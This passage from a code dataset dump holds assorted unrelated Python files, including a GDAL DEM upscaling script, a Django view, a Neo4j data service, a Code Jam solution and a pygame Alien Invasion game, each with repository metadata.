dem_tif_n60w180_30sec.ids.map dem_tif_n60w180_30sec.ids.3sec.tif\ninput_file = output_file\noutput_file = output_folder + \"/\" + tile_code + \".30sec.ids.3sec.tif\"\ncellsize_3sec = \"0.000833333333333333333333333333333333333333333333333333333333333333333333333333333\"\ncmd = \"gdalwarp -tr \" + cellsize_3sec + \" \" + cellsize_3sec + \" \" + input_file + \" \" + output_file\nprint(cmd); os.system(cmd)\n# - This still a tif file. \n\n# convert the tif file to PCRaster map\ninput_file = output_file\noutput_file = output_folder + \"/\" + tile_code + \".30sec.ids.3sec.map\"\ncmd = 'gdal_translate -of PCRaster ' + input_file + \" \" + output_file\nprint(cmd); os.system(cmd)\n\n# make sure that the clone of input DEM is consistent with the aforementioned clone:\nids_3sec = output_file\ndem_3sec = output_folder + \"/\" + tile_code + \".map\"\ncmd = \"mapattr -c \" + ids_3sec + \" \" + dem_3sec\nprint(cmd); os.system(cmd)\n# - check\ncmd = \"mapattr -p \" + ids_3sec + \" \" + dem_3sec\nprint(cmd); os.system(cmd)\n\n \n# do the upscaling/averaging from 3 arc second DEM to 30 arc second values:\npcr.setclone(ids_3sec)\nmsg = \"Upscaling in progress for the tile \" + tile_code\nprint(msg)\ndem_30sec = pcr.areaaverage(dem_3sec, ids_3sec)\noutput_file = output_folder + \"/\" + tile_code + \".30sec.3sec.map\"\npcr.report(dem_30sec, output_file)\n# - The cell size will be still 3 arc second.\n\n\n# then resample (using gdalwarp) to 30 arc second file:\ninput_file = output_file\noutput_file = output_folder + \"/\" + tile_code + \".30sec.tif\"\ncmd = \"gdalwarp -tr \" + cellsize_30sec + \" \" + cellsize_30sec + \" \" + input_file + \" \" + output_file \nprint(cmd); os.system(cmd)\n# - this is still a tif file\n\n# convert it to pcraster\ninput_file = output_file\noutput_file = output_folder + \"/\" + tile_code + \".30sec.map\"\ncmd = \"gdal_translate -of PCRaster \" + input_file + \" \" + output_file\nprint(cmd); os.system(cmd)\n\n\n#~ # check (this should be deactivated while running all parallel scripts)\n#~ dem_3sec_file = dem_3sec\n#~ dem_30sec_file = output_file\n#~ cmd = \"aguila \" + dem_3sec_file + \" \" + dem_30sec_file\n#~ print(cmd); os.system(cmd)\n","sub_path":"process_merit-dem/scripts_used_by_sandra/upscale_script.py","file_name":"upscale_script.py","file_ext":"py","file_size_in_byte":4910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"468396099","text":"CREATE_PARENT_SENTENCE_STATEMENT = \"\"\"\n CREATE (s1:Sentence {tokens: {token_seq}})\n\"\"\"\n\nMERGE_TOKEN_STATEMENT = \"\"\"\n MERGE (t1:Token {content: {token_content}})\n\"\"\"\n\nCREATE_CONTAINS_RELATIONSHIP = \"\"\"\n MATCH (s1:Sentence {tokens: {token_seq}}), (t1:Token {content: {token_content}})\n CREATE (s1)-[:CONTAINS {relationship_properties}]->(t1);\n\"\"\"\n\nCREATE_CATEGORY_RELATIONSHIP_STATEMENT = \"\"\"\n MATCH (s1:Sentence {tokens: {token_seq}}), (t1:Taxon {name: {category}})\n CREATE (s1)-[:IN_CATEGORY]->(t1)\n\"\"\"\n\nimport misc\nimport pprint\n\nclass DataService(object):\n def __init__(self):\n pass\n\n def create_occupation_description_from_tokens(self, token_seq, category):\n result = misc.run_some_query(\n CREATE_PARENT_SENTENCE_STATEMENT, {\n 'token_seq': token_seq,\n 'category': category\n }\n )\n\n for index, value in enumerate(token_seq):\n self.merge_token(value)\n self.create_sentence_relationship(token_seq, index, value)\n\n self.create_category_relationship(token_seq, category)\n \n return result\n\n def create_category_relationship(self, token_seq, category):\n misc.run_some_query(\n CREATE_CATEGORY_RELATIONSHIP_STATEMENT, {\n 'token_seq': token_seq,\n 'category': category\n }\n )\n\n def merge_token(self, value):\n misc.run_some_query(MERGE_TOKEN_STATEMENT, {'token_content': value})\n\n def create_sentence_relationship(self, token_seq, index, value):\n rel_properties = {'index': index}\n\n if index == 0:\n rel_properties['firstToken'] = True\n elif index == len(token_seq) - 1:\n rel_properties['lastToken'] = True\n\n misc.run_some_query(\n CREATE_CONTAINS_RELATIONSHIP,\n {\n 'token_seq': token_seq,\n 'relationship_properties': rel_properties,\n 'token_content': value\n }\n )\n","sub_path":"occubrow/data_service.py","file_name":"data_service.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"93870641","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 18 17:08:27 2018\n\n@author: admin\n\"\"\"\n'''perl c:/code/mrun.pl -cmd \"c:/Users/admin/Anaconda3/python.exe c:/code/ind/group.py e:/hx/stock/csv e:/hx/ind/all e:/hx/ind/sum\" -proc 1'''\nimport pandas as pd\nimport sys\nimport matplotlib.pyplot as plt\ndts=[20180102,\n20180103,\n20180104,\n20180105,\n20180108,\n20180109,\n20180110,\n20180111,\n20180112,\n20180115,\n20180116,\n20180117,\n20180118,\n20180119,\n20180122,\n20180123,\n20180124,\n20180125,\n20180126,\n20180129,\n20180130,\n20180131]\n\ndatad=dict()\ndef corr():\n file=sys.argv[1]\n filenew=sys.argv[2]\n filedd=sys.argv[3]\n a=pd.read_csv(file,usecols=[1,2,3],header=None)\n b=a.pivot(index=2,columns=1,values=3)\n c=b.corr()\n c.to_csv(filenew)\n c.describe().T.describe().to_csv(filedd)\n#corr()\ndef loadMerge(dt):\n datad[dt]=pd.read_csv(f\"c:/hx/cppind/{dt}.csv\",index_col=0,names=['corr'])['corr']\n\n#for dt in dts:\n#\n# print(dt)\n# loadMerge(dt)\n#\n#ds=pd.DataFrame(datad)\n#tmp=ds.dropna()\n#tmean=tmp.mean(axis=1)\ncorrStock=tmean[tmean>(tmean.mean()+2*tmean.std())]\n\ncorrStock=tmean[tmean>0.7]\ncorrStock=tmean[tmean<-0.3]\nstockDict=dict()\nfor i in corrStock.index:\n sym1=i[0:9]\n sym2=i[10:19]\n if sym1 in stockDict:\n stockDict[sym1].append(sym2)\n else:\n stockDict[sym1]=[sym2]\n if sym2 in stockDict:\n stockDict[sym2].append(sym1)\n else:\n stockDict[sym2]=[sym1]\n\n'''\nconcat\npivot\nmoving window\n 20天\noutlier\n 基准为整体还是其自身前20天的数据\n'''\n","sub_path":"ind/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"58922759","text":"from django.views.generic import FormView\nfrom django.utils.functional import cached_property\nfrom django.shortcuts import redirect\nfrom django.http import Http404\n\nfrom program_manager.models import Program\n\nfrom . import utils\nfrom . import forms\n\n\nclass MapFieldsView(FormView):\n form_class = forms.MapFieldsForm\n template_name = 'field_mapper/map_fields.html'\n\n def dispatch(self, *args, **kwargs):\n program = self.program\n\n if program.status != 'CREA':\n return redirect(program.get_absolute_url())\n\n all_fields, missing_fields = utils.validate_csv(program.csv_file.file,\n program, ret=True)\n\n if not missing_fields:\n return redirect('/')\n\n self.missing_fields = missing_fields\n self.all_fields = all_fields\n\n return super(MapFieldsView, self).dispatch(*args, **kwargs)\n\n def get_form_kwargs(self):\n kwargs = super(MapFieldsView, self).get_form_kwargs()\n kwargs.update({\n 'program': self.program,\n 'all_fields': self.all_fields,\n 'missing_fields': self.missing_fields,\n })\n\n return kwargs\n\n def form_valid(self, form):\n form.save()\n\n # rewind csv_file\n self.program.csv_file.seek(0)\n\n self.program.begin()\n\n return redirect(self.program.get_absolute_url())\n\n @cached_property\n def program(self):\n try:\n program = Program.objects.get(pk=self.kwargs.get('pk'))\n except Program.DoesNotExist:\n raise Http404\n\n return program\n","sub_path":"field_mapper/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"486865081","text":"# -*- coding: utf-8 -*-\n\n\"\"\"FDC module dealing with quarter.\"\"\"\n\nimport time\nfrom string import Template\n\n\nclass Round:\n\n \"\"\"\n FDC Round allows to compute accurate timestamps for start and end of each quarter of the round.\n\n start and end timestamp are returned as a dictionnary of string { 'start': \"...\", 'end': \"...\" }\n \"\"\"\n\n QUARTER = [\n {'start': \"0101000000\", 'end': \"0331235959\"},\n {'start': \"0401000000\", 'end': \"0630235959\"},\n {'start': \"0701000000\", 'end': \"0930235959\"},\n {'start': \"1001000000\", 'end': \"1231235959\"}\n ]\n\n def __init__(self, year1, year2, round_number):\n \"\"\"Constructor.\n\n Args:\n year1 (int): Year of request of round 1\n year2 (int): Year of request of round 2\n round_number (int): FDC round number,\n either 1 for round 1 and 2 for round 2\n\n Raises:\n ValueError: if round is not 1 or 2\n \"\"\"\n self.year1 = year1\n self.year2 = year2\n if round_number in [1, 2]:\n self.round = round_number\n else:\n raise ValueError(\n \"Round number should be either 1 or 2 but is %d\" % round_number)\n\n def quarter(self, quarter):\n \"\"\"Returns the timestamp of start and end of the quarter.\n\n Args:\n quarter (int): Number of the quarter (values are between 1 and 4)\n\n Returns:\n both timestamp of start and end of the quarter as {'start': \"XXX\", 'end': \"YYY\"}\n\n Raises:\n ValueError: if quarter is not in 1..4\n \"\"\"\n year = self.year2\n index = quarter - 1\n if not quarter in range(1, 5):\n raise ValueError(\n \"quarter should be between 1 and 4 but is %d\" % quarter)\n if self.round == 2:\n index = (quarter + 1) % 4\n if quarter >= 3:\n year = self.year2 + 1\n return {\n 'start': str(year) + Round.QUARTER[index]['start'],\n 'end': str(year) + Round.QUARTER[index]['end']}\n\n def full_period(self):\n \"\"\"Returns the timestamp of start of the period and the timestamp of end of the period\n\n Returns:\n both timestamp of start and end of the period as {'start': \"XXX\", 'end': \"YYY\"}\n \"\"\"\n return {\n 'start': self.quarter(1)['start'],\n 'end': self.quarter(4)['end']\n }\n\n def _today(self):\n \"\"\"Returns timestamp of today 0000Z\"\"\"\n return time.strftime(\"%Y%m%d000000\", time.gmtime())\n\n def __repr__(self):\n return \"%s-%s round%s\" % (self.year1, self.year2, self.round)\n\n\nclass Indicator:\n\n \"\"\"Indicator for FDC reports have values for Q1, Q2, Q3, Q4 or/and a value.\n it allows to follow the evolution of an indicator during the quarters and have its final value\n or to follow an indicator with only a single value.\n \"\"\"\n\n def __init__(self, name, q1=None, q2=None, q3=None, q4=None, value=None):\n \"\"\"Constructor returns an indicator.\n it can be initilized with values for q1, q2, q3, q4 and another value (cumulative)\n\n Args:\n name (str): Unique name (can be used to refer to the indicator)\n q1 (float): Value at first quarter (optional)\n q2 (float): Value at second quarter (optional)\n q3 (float): Value at third quarter (optional)\n q4 (float): Value at fourth quarter (optional)\n value (float): A value of the indicator that has no relation to a quarter: cumulative value, fixed value, whatever (optional)\n \"\"\"\n self.name = name\n self.values = dict()\n self.values[\"q1\"] = q1\n self.values[\"q2\"] = q2\n self.values[\"q3\"] = q3\n self.values[\"q4\"] = q4\n self.values[\"value\"] = value\n\n\nclass Report:\n\n \"\"\"Report is build from indicator list and template\n and generate a report.\n \"\"\"\n\n def __init__(self, indicator_list, template_string=None, template_file=None):\n \"\"\" Initialize a report.\n\n In template variables are named:\n $name_q1, $name_q2 $name_q3, $name_q4, $name_value\n\n Args:\n indicator_list (list): list of fdc.Indicator\n template_string (str): Template string of the report to use (iff there is no template_file)\n template_file (file): File containing the template string to use to generate the report\n \"\"\"\n self.template = Template(template_string)\n self.indicator_values = dict()\n if template_string == None and template_file == None:\n raise ValueError(\n \"template_string or template_file argument needs to be used.\")\n if template_file != None:\n # reads template file\n with open(template_file, 'r') as f:\n self.template = Template(f.read())\n # fill the dictionnary of values\n for indicator in indicator_list:\n for key in indicator.values.keys():\n var_name = \"%s_%s\" % (indicator.name, key)\n if indicator.values[key]==None:\n self.indicator_values[var_name] = \"\"\n else:\n self.indicator_values[var_name] = indicator.values[key]\n\n def generate(self):\n \"\"\" Generate report from template and indicators.\n \"\"\"\n return self.template.safe_substitute(self.indicator_values)\n","sub_path":"wm_metrics/fdc.py","file_name":"fdc.py","file_ext":"py","file_size_in_byte":5491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"470030386","text":"import PySimpleGUI as sg\nimport analyze as an\n\n\n\ngames_categories = ['ALL','ACTION','ADVENTURE','ARCADE','BOARD','CARD','CASINO','CASUAL','EDUCATIONAL','MUSIC','PUZZLE','RACING','ROLE PLAYING','SIMULATION','SPORTS','STRATEGY','TRIVIA','WORD']\n\ndef create_layout():\n\n layout = [[sg.Text('Datos disponibles \\npara analizar', font = '_ 20', relief = sg.RELIEF_RIDGE, justification = 'center', background_color = '#6E402A')],\n [sg.Text('', background_color = '#D89156')],\n [sg.Button('Canciones de Spotify', size = (16,1), button_color = '#6E402A'), sg.Input('ALL', size = (12,1), key = 'artist')],\n [sg.Button('Juegos de Play Store', size = (16,1), button_color = '#6E402A'), sg.Combo(games_categories, size = (12,1), key = 'game_option')],\n [sg.Button('Salir', size = (6,1), button_color = '#6E402A')]]\n return sg.Window('Actividad 1 x Python Plus - TEORIA', layout, background_color = '#D89156', margins = (75,50), finalize = True)\n\n\n\ndef main():\n window = create_layout()\n \n while True: \n event, values = window.read()\n \n if event == sg.WIN_CLOSED or event == 'Salir':\n break\n\n elif event == 'Canciones de Spotify':\n if values.get('artist') != '':\n an.music_analysis(values.get('artist'))\n else:\n sg.PopupQuick('Ingrese un valor válido', background_color = '#D89156', button_color = '#6E402A')\n\n elif event == 'Juegos de Play Store':\n if values.get('game_option') in games_categories:\n an.game_analysis(values.get('game_option'))\n else:\n sg.PopupQuick('Ingrese un valor válido', background_color = '#D89156', button_color = '#6E402A')\n\n window.close()\n\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"actividad1-teoria/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"371983668","text":"'''\nGiven a binary tree, find the maximum path sum.\n\nFor this problem, a path is defined as any sequence of nodes from some starting node to any node in the tree along the parent-child connections. The path must contain at least one node and does not need to go through the root.\n\nFor example:\nGiven the below binary tree,\n\n 1\n / \\\n 2 3\nReturn 6.\n'''\n\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n this.val = val\n this.left, this.right = None, None\n\"\"\"\nclass Solution:\n \"\"\"\n @param root: The root of binary tree.\n @return: An integer\n \"\"\"\n def maxPathSum(self, root):\n (maxSum, single) = self.maxPathHelper(root)\n return maxSum\n\n def maxPathHelper(self, root):\n if root is None:\n return -sys.maxint, 0\n\n left = self.maxPathHelper(root.left)\n right = self.maxPathHelper(root.right)\n maxpath = max(left[0], right[0], root.val + left[1] + right[1])\n single = max(left[1] + root.val, right[1] + root.val, 0)\n\n return (maxpath, single)\n","sub_path":"Python/leetcode/124-BinaryTreeMaximumPathSum-FFFFF.py","file_name":"124-BinaryTreeMaximumPathSum-FFFFF.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"483145938","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 2 22:20:34 2020\n\n@author: luhoe\n\"\"\"\nimport json\nimport os\nfrom tqdm import tqdm\n\n# folder containing the downloaded .json files\ndata_folder = \"C:\\\\Users\\\\luhoe\\\\Documents\\\\Git_Projects\\\\Github\\\\youtube-comment-downloader\\\\Data\\\\Galileo\"\n\n\n#prepare data for word2vec\n\nmin_len = 10\nmax_len = 300\n\nwith open(data_folder + '_summary.txt', 'a') as file:\n for filename in tqdm(os.listdir(data_folder)):\n if filename.endswith(\".json\"): \n \n f = open(data_folder + '\\\\' + filename)\n data = json.load(f)\n comments = data['comments']\n\n #seperating initiial comments and answers and write comments to summary file\n for comment in comments:\n if '.' not in (comments[comment]['cid']): \n try:\n if (len(comments[comment]['text']) > min_len) and (len(comments[comment]['text']) < max_len):\n file.write(comments[comment]['text'] + '\\n')\n except:\n file.write(comments[comment]['text'].encode('ascii', 'ignore').decode('ascii'))\n else:\n isAnswer = True\n\n continue\n else:\n continue\n\n\n","sub_path":"nlp_data_cleaner.py","file_name":"nlp_data_cleaner.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"300785477","text":"import itertools\n\n\nt = int(raw_input())\n\n\ndef isprime(n):\n divisor = 5\n prime = True\n if n < 2:\n prime = False\n elif n < 4:\n prime = True\n elif n % 2 == 0 or n % 3 == 0:\n prime = False\n else:\n while n >= divisor ** 2:\n if n % divisor == 0 or n % (divisor + 2) == 0:\n prime = False\n break\n divisor += 6\n return prime\n\n\ndef get_divisor(n):\n divisor = 2\n while divisor < n:\n if n % divisor == 0:\n break\n else:\n divisor += 1\n return divisor\n\n\nfor x in xrange(1, t + 1):\n n, j = (int(value) for value in raw_input().split())\n print(\"Case #%d:\" % x)\n jamcoins = 1\n for value in itertools.product(xrange(2), repeat=n - 2):\n if jamcoins > j:\n break\n output = \"\".join([\"1\"] + [str(hue) for hue in value] + [\"1\"])\n outputs = [output]\n is_jamcoin = True\n for base in xrange(2, 11):\n temp = long(output, base=base)\n if isprime(temp):\n is_jamcoin = False\n break\n else:\n outputs.append(get_divisor(temp))\n if is_jamcoin:\n temp = \"%s \" * 10\n print(temp % tuple(outputs))\n jamcoins += 1\n","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_nansari_2016-03.py","file_name":"16_0_3_nansari_2016-03.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"624394654","text":"# Own Library\nimport mcmc_tools\nimport analysis_data as ad\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\nclass SPM(ad.AnalysisData):\n def observe_ts(self):\n sns.lineplot(x=self.data['X'], y=self.data['Y'])\n plt.show()\n plt.close()\n\n def create_data(self):\n X = self.data['X']\n Y = self.data['Y']\n N = len(Y)\n N_pred = 3\n\n return {\n 'X': X,\n 'Y': Y,\n 'N': N,\n 'N_pred': N_pred\n }\n\n def fit(self, stan_data):\n mcmc_result = mcmc_tools.sampling(self.model_file, stan_data, n_jobs=4, seed=123)\n return mcmc_result.extract()\n\n def create_figure(self, mcmc_sample):\n pred_dates = [i for i in range(len(self.data['Y']) + 3)]\n # pred_dates = np.linspace(0, len(self.data['Y']) + 3, 100)\n mcmc_tools.plot_ssm(mcmc_sample, pred_dates, '2nd diff local level'\n 'model', 'Y', 'mu_pred')\n\n\nif __name__ == '__main__':\n spm = SPM('data-ss1.txt', '../model/model12-1-2')\n spm.describe()\n\n spm.observe_ts()\n\n stan_data = spm.create_data()\n mcmc_sample = spm.fit(stan_data)\n spm.create_figure(mcmc_sample)\n\n","sub_path":"exec/12-1-2.py","file_name":"12-1-2.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"469200267","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom random import random\r\nfrom matplotlib import pyplot as plt\r\n\r\nx = list(range(1,1001))\r\nx = list(map(lambda data : str(data), x))\r\n\r\ny = [int(1000 * random()) for data in x]\r\n\r\nplt.title('Scatter example')\r\nplt.xlabel(\"x : 1 ~ 1000\")\r\nplt.ylabel(\"y : random * 1000\")\r\n\r\n#plt.plot(x, y)\r\n#plt.bar(x, y)\r\n# 스캐터 플롯 - 산점도\r\n# 값의 분포를 선이 아닌 점의 형태로 출력하는 그래프\r\n# 참고사이트\r\n# https://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.scatter\r\nplt.scatter(x, y)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"day_08/matplotlib_15.py","file_name":"matplotlib_15.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"440330955","text":"from .module import Module\n\n\nclass Potentiometer(Module):\n possible_events = {'moved'}\n\n def __init__(self, id, alias, robot):\n Module.__init__(self, 'Potentiometer', id, alias, robot)\n self._value = 0\n\n @property\n def position(self):\n \"\"\" Position in degrees. \"\"\"\n return self._value\n\n def _update(self, new_state):\n Module._update(self, new_state)\n new_pos = new_state['position']\n\n if new_pos != self._value:\n self._value = new_pos\n self._pub_event('moved', self._value, self.position)\n","sub_path":"pyluos/modules/potentiometer.py","file_name":"potentiometer.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"335471032","text":"import sys\nfrom time import sleep\nimport pygame\nfrom settings import Settings\nfrom game_stats import GameStats\nfrom button import Button\nfrom ship import Ship\nfrom bullet import Bullet\nfrom alien import Alien\n\n\nclass AlienInvasion:\n\t# Класс для управления ресурсами и поведением игры.\n\n\tdef __init__(self):\n\t\tpygame.init()\n\t\tself.settings = Settings()\n\n\t\tself.screen = pygame.display.set_mode(\n\t\t\t(self.settings.screen_width, self.settings.screen_height))\n\t\tself.game_screen = pygame.Surface((self.settings.game_screen_width, self.settings.game_screen_height))\n\t\tself.game_screen_rect = self.game_screen.get_rect(center=(self.settings.screen_width // 2, self.settings.screen_height // 2))\n\t\tpygame.display.set_caption(\"Alien Invasion\")\n\n\t\t# Создание экземпляра для хранения игровой статистики\n\t\tself.stats = GameStats(self)\n\n\t\tself.ship = Ship(self)\n\t\tself.bullets = pygame.sprite.Group()\n\t\tself.aliens = pygame.sprite.Group()\n\n\t\tself._create_fleet()\n\t\t# Создание кнопки Play\n\t\tself.play_button = Button(self, \"Play\")\n\t\t# self.clock = pygame.time.Clock()\n\n\n\tdef run_game(self):\n\t\t# Запуск основного цикла игры\n\t\twhile True:\n\t\t\tself._check_events()\n\n\t\t\tif self.stats.game_active:\n\t\t\t\tself.ship.update()\n\t\t\t\tself._update_bullets()\n\t\t\t\tself._update_aliens()\n\n\t\t\tself._update_screen()\n\t\t\t\n\tdef _update_screen(self):\n\t\t# При каждом проходе цикла перерисовывается экран\n\t\tself.screen.fill(self.settings.bg_color)\n\t\tself.screen.blit(self.game_screen,\n\t\t\t\tself.game_screen_rect)\n\t\tself.game_screen.fill((0, 0, 150))\n\t\tself.ship.blitme()\n\t\tfor bullet in self.bullets.sprites():\n\t\t\tbullet.draw_bullet()\n\t\tself.aliens.draw(self.game_screen)\n\n\t\t# Кнопка Play отображается в том случае, если игра неактивна\n\t\tif not self.stats.game_active:\n\t\t\tself.play_button.draw_button()\n\n\t\t#self.clock.tick(self.settings.fps) попытка в частоту кадров\n\t\tself._arcade_frame()\n\n\t\t# Отображение последнего прорисованного экрана\t\t\n\t\tpygame.display.flip()\n\n\tdef _check_events(self):\n\t\t# Отслеживание событий мыши и клавиатуры\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tsys.exit()\n\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\tself._check_keydown_events(event)\n\t\t\telif event.type == pygame.KEYUP:\n\t\t\t\tself._check_keyup_events(event)\n\t\t\telif event.type == pygame.MOUSEBUTTONDOWN:\n\t\t\t\tmouse_pos = pygame.mouse.get_pos()\n\t\t\t\tself._check_play_button(mouse_pos)\n\n\tdef _check_play_button(self, mouse_pos):\n\t\t\"\"\"Запускает новую игру при нажатии кнопки Play\"\"\"\n\t\tbutton_clicked = self.play_button.rect.collidepoint(mouse_pos)\n\t\tif button_clicked and not self.stats.game_active:\n\t\t\t# Сброс игровой статистики\n\t\t\tself.stats.reset_stats()\n\t\t\tself.stats.game_active = True\n\n\t\t\t# Очистка списков пришельцев и снарядов\n\t\t\tself.aliens.empty()\n\t\t\tself.bullets.empty()\n\n\t\t\t# Создание нового флота и размещение корабля в центре\n\t\t\tself._create_fleet()\n\t\t\tself.ship.center_ship()\n\n\t\t\t# Указатель мыши скрывается\n\t\t\tpygame.mouse.set_visible(False)\n\n\n\n\tdef _check_keydown_events(self, event):\n\t\t# Реагирует на нажатие клавиш\n\t\tif event.type == pygame.KEYDOWN:\n\t\t\tif event.key == pygame.K_RIGHT:\n\t\t\t\tself.ship.moving_right = True\n\t\t\telif event.key == pygame.K_LEFT:\n\t\t\t\tself.ship.moving_left = True\n\t\t\telif event.key == pygame.K_q:\n\t\t\t\tsys.exit()\n\t\t\telif event.key == pygame.K_SPACE:\n\t\t\t\tself._fire_bullet()\n\n\tdef _check_keyup_events(self, event):\n\t\tif event.type == pygame.KEYUP:\n\t\t\tif event.key == pygame.K_RIGHT:\n\t\t\t\tself.ship.moving_right = False\n\t\t\telif event.key == pygame.K_LEFT:\n\t\t\t\tself.ship.moving_left = False\n\n\tdef _fire_bullet(self):\n\t\t# Создание нового снаряда и включение его в группу bullets.\n\t\tif len(self.bullets) < self.settings.bullets_allowed:\n\t\t\tnew_bullet = Bullet(self)\n\t\t\tself.bullets.add(new_bullet)\n\n\tdef _update_bullets(self):\n\t\t\"\"\"Обновляет позиции снарядов и уничтожает старые снаряды\"\"\"\t\t\n\t\t# Обновление позиций снарядов.\n\t\tself.bullets.update()\n\n\t\t# Удаление снарядов, вышедших за край экрана.\n\t\tfor bullet in self.bullets.copy():\n\t\t\tif bullet.rect.bottom <= 0:\n\t\t\t\tself.bullets.remove(bullet)\n\n\t\tself._check_bullet_alien_collisions()\n\n\n\tdef _check_bullet_alien_collisions(self):\n\t\t\"\"\"Обработка коллизий снарядов с пришельцами\"\"\"\n\t\t# Удаление снарядов и пришельцев, учавствующих в коллизиях\n\t\tcollisions = pygame.sprite.groupcollide(\n\t\t\tself.bullets, self.aliens, True, True)\n\n\t\tif not self.aliens:\n\t\t\t# Уничтожение существующих снарядов и создание нового флота\n\t\t\tself.bullets.empty()\n\t\t\tself._create_fleet()\n\n\tdef _ship_hit(self):\n\t\t\"\"\"Обрабатывает столкновение корябля с пришельцем\"\"\"\n\t\tif self.stats.ships_left > 0:\n\t\t\t# Уменьшение ship_left\n\t\t\tself.stats.ships_left -= 1\n\n\t\t\t# Очистка списков пришельцев и снарядов\n\t\t\tself.aliens.empty()\n\t\t\tself.bullets.empty()\n\n\t\t\t# Создание нового флота и размещение корабля в центре\n\t\t\tself._create_fleet()\n\t\t\tself.ship.center_ship()\n\n\t\t\t# Пауза\n\t\t\tsleep(0.5)\n\t\telse:\n\t\t\tself.stats.game_active = False\n\n\n\tdef _create_fleet(self):\n\t\t\"\"\"Создание флота вторжения\"\"\"\n\t\t# Создание пришельца и вычисление количества пришельцев в ряду\n\t\t# Интервал между соседними пришельцами равен ширине пришельца\n\t\talien = Alien(self)\n\t\talien_width, alien_height = alien.rect.size\n\t\tavailible_space_x = self.settings.game_screen_width - (2 * alien_width)\n\t\tnumber_aliens_x = availible_space_x // (2 * alien_width)\n\n\t\t\"\"\"Определяет количество рядов, помещающихся на экране\"\"\"\n\t\tship_height = self.ship.rect.height\n\t\tavailible_space_y = (self.settings.game_screen_height - \n\t\t\t\t\t\t\t\t(3 * alien_height) - ship_height)\n\t\tnumber_rows = 5\n\n\t\t# Создание флота вторжения\n\t\tfor row_number in range(number_rows):\n\t\t\tfor alien_number in range(number_aliens_x):\n\t\t\t\tself._create_alien(alien_number, row_number)\n\n\tdef _check_fleet_edges(self):\n\t\t\"\"\"Реагирует на достижение пришельцем края экрана\"\"\"\n\t\tfor alien in self.aliens.sprites():\n\t\t\tif alien.check_edges():\n\t\t\t\tself._change_fleet_direction()\n\t\t\t\tbreak\n\n\tdef _change_fleet_direction(self):\n\t\t\"\"\"Опускает весь флот и меняет направление флота\"\"\"\n\t\tfor alien in self.aliens.sprites():\n\t\t\talien.rect.y += self.settings.fleet_drop_speed\n\t\tself.settings.fleet_direction *= -1\n\n\tdef _create_alien(self, alien_number, row_number):\n\t\t\"\"\"Создание пришельца и размещение его в ряду\"\"\"\n\t\talien = Alien(self)\n\t\talien_width, alien_height = alien.rect.size\n\t\talien.x = alien_width + 2 * alien_width * alien_number\n\t\talien.rect.x = alien.x\n\t\talien.rect.y = alien.rect.height + 2 * alien.rect.height * row_number\n\t\tself.aliens.add(alien)\n\n\tdef _check_aliens_bottom(self):\n\t\t\"\"\"Проверяет, добрались ли пришельцы до нижнего края экрана\"\"\"\n\t\tscreen_rect = self.game_screen.get_rect()\n\t\tfor alien in self.aliens.sprites():\n\t\t\tif alien.rect.bottom >= screen_rect.bottom:\n\t\t\t\t# Происходит то же, что при столкновении с кораблём\n\t\t\t\tself._ship_hit()\n\t\t\t\tbreak\n\n\tdef _update_aliens(self):\n\t\t\"\"\"\n\t\tПроверяет, достиг ли флот края экрана,\n\t\tс последующим обновлением позиций всех пришельцев во флоте.\n\t\t\"\"\"\n\t\tself._check_fleet_edges()\n\t\tself.aliens.update()\n\n\t\t# Проверка коллизий \"пришелец - корабль\"\n\t\tif pygame.sprite.spritecollideany(self.ship, self.aliens):\n\t\t\tself._ship_hit()\n\n\t\t# Проверить, доюрались ли пришельцы до нижнего края экрана\n\t\tself._check_aliens_bottom()\n\n\tdef _arcade_frame(self):\n\t\t# Прорисовывет стилизованный арт в виде рамки\n\t\tself.frame = pygame.image.load('images/ai_bkg.bmp')\n\t\tself.screen.blit(self.frame, (0, 0))\n\n\nif __name__ == '__main__':\n\t# Создание экземпляра и запуск игры\n\tai = AlienInvasion()\n\tai.run_game()","sub_path":"Alien_invasion/alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":8920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"350206408","text":"# -*- coding: 